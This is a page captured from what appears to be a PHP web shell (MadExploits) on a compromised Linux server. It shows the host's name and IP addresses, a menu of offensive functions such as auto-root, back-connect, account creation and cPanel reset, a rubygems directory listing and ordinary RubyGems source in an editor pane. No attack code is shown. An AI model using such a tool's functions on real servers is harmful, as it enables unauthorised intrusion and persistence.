Linux vps-4302913.novaexata.com.br 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.99
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
rubygems /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
LICENSE.txt
2.27
KB
-rw-r--r--
available_set.rb
1.56
KB
-rw-r--r--
command.rb
13.43
KB
-rw-r--r--
command_manager.rb
5.36
KB
-rw-r--r--
compatibility.rb
1.58
KB
-rw-r--r--
config_file.rb
11.82
KB
-rw-r--r--
defaults.rb
3.06
KB
-rw-r--r--
dependency.rb
7.74
KB
-rw-r--r--
dependency_installer.rb
12.12
KB
-rw-r--r--
dependency_list.rb
5.53
KB
-rw-r--r--
dependency_resolver.rb
14.97
KB
-rw-r--r--
deprecate.rb
1.73
KB
-rw-r--r--
doctor.rb
2.86
KB
-rw-r--r--
errors.rb
2.14
KB
-rw-r--r--
exceptions.rb
2.7
KB
-rw-r--r--
ext.rb
416
B
-rw-r--r--
gem_runner.rb
1.98
KB
-rw-r--r--
gemcutter_utilities.rb
2.91
KB
-rw-r--r--
indexer.rb
12.89
KB
-rw-r--r--
install_message.rb
281
B
-rw-r--r--
install_update_options.rb
5.09
KB
-rw-r--r--
installer.rb
23.04
KB
-rw-r--r--
installer_test_case.rb
4.28
KB
-rw-r--r--
local_remote_options.rb
3.36
KB
-rw-r--r--
mock_gem_ui.rb
1.35
KB
-rw-r--r--
name_tuple.rb
1.96
KB
-rw-r--r--
package.rb
14.38
KB
-rw-r--r--
package_task.rb
3.77
KB
-rw-r--r--
path_support.rb
1.58
KB
-rw-r--r--
platform.rb
5.63
KB
-rw-r--r--
psych_additions.rb
249
B
-rw-r--r--
psych_tree.rb
763
B
-rw-r--r--
rdoc.rb
7.72
KB
-rw-r--r--
remote_fetcher.rb
15.69
KB
-rw-r--r--
request_set.rb
3.67
KB
-rw-r--r--
requirement.rb
6.02
KB
-rw-r--r--
safe_yaml.rb
1.11
KB
-rw-r--r--
security.rb
20.56
KB
-rw-r--r--
server.rb
22.03
KB
-rw-r--r--
source.rb
3.12
KB
-rw-r--r--
source_list.rb
1.22
KB
-rw-r--r--
source_local.rb
1.88
KB
-rw-r--r--
source_specific_file.rb
552
B
-rw-r--r--
spec_fetcher.rb
5.17
KB
-rw-r--r--
specification.rb
68.24
KB
-rw-r--r--
syck_hack.rb
2.07
KB
-rw-r--r--
test_case.rb
28.09
KB
-rw-r--r--
test_utilities.rb
4.03
KB
-rw-r--r--
text.rb
1.72
KB
-rw-r--r--
uninstaller.rb
8.32
KB
-rw-r--r--
user_interaction.rb
11.68
KB
-rw-r--r--
validator.rb
4.08
KB
-rw-r--r--
version.rb
10.5
KB
-rw-r--r--
version_option.rb
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : request_set.rb
require 'rubygems' require 'rubygems/dependency' require 'rubygems/dependency_resolver' require 'rubygems/dependency_list' require 'rubygems/installer' require 'tsort' module Gem class RequestSet include TSort def initialize(*deps) @dependencies = deps yield self if block_given? end attr_reader :dependencies # Declare that a gem of name +name+ with +reqs+ requirements # is needed. # def gem(name, *reqs) @dependencies << Gem::Dependency.new(name, reqs) end # Add +deps+ Gem::Depedency objects to the set. # def import(deps) @dependencies += deps end # Resolve the requested dependencies and return an Array of # Specification objects to be activated. # def resolve(set=nil) r = Gem::DependencyResolver.new(@dependencies, set) @requests = r.resolve end # Resolve the requested dependencies against the gems # available via Gem.path and return an Array of Specification # objects to be activated. # def resolve_current resolve DependencyResolver::CurrentSet.new end # Load a dependency management file. # def load_gemdeps(path) gf = GemDepedencyAPI.new(self, path) gf.load end def specs @specs ||= @requests.map { |r| r.full_spec } end def tsort_each_node(&block) @requests.each(&block) end def tsort_each_child(node) node.spec.dependencies.each do |dep| next if dep.type == :development match = @requests.find { |r| dep.match? r.spec.name, r.spec.version } if match begin yield match rescue TSort::Cyclic end else raise Gem::DependencyError, "Unresolved depedency found during sorting - #{dep}" end end end def sorted_requests @sorted ||= strongly_connected_components.flatten end def specs_in(dir) Dir["#{dir}/specifications/*.gemspec"].map do |g| Gem::Specification.load g end end def install_into(dir, force=true, &b) existing = force ? [] : specs_in(dir) dir = File.expand_path dir installed = [] sorted_requests.each do |req| if existing.find { |s| s.full_name == req.spec.full_name } b.call req, nil if b next end path = req.download(dir) inst = Gem::Installer.new path, :install_dir => dir, :only_install_dir => true b.call req, inst if b inst.install installed << req end installed end def install(options, &b) if dir = options[:install_dir] return install_into(dir, false, &b) end cache_dir = options[:cache_dir] || Gem.dir specs = [] sorted_requests.each do |req| if req.installed? b.call req, nil if b next end path = req.download cache_dir inst = Gem::Installer.new path, options b.call req, inst if b specs << inst.install end specs end # A semi-compatible DSL for Bundler's Gemfile format # class GemDepedencyAPI def initialize(set, path) @set = set @path = path end def load instance_eval File.read(@path).untaint, @path, 1 end # DSL def source(url) end def gem(name, *reqs) # Ignore the opts for now. reqs.pop if reqs.last.kind_of?(Hash) @set.gem name, *reqs end def platform(what) if what == :ruby yield end end alias_method :platforms, :platform def group(*what) end end end end
Close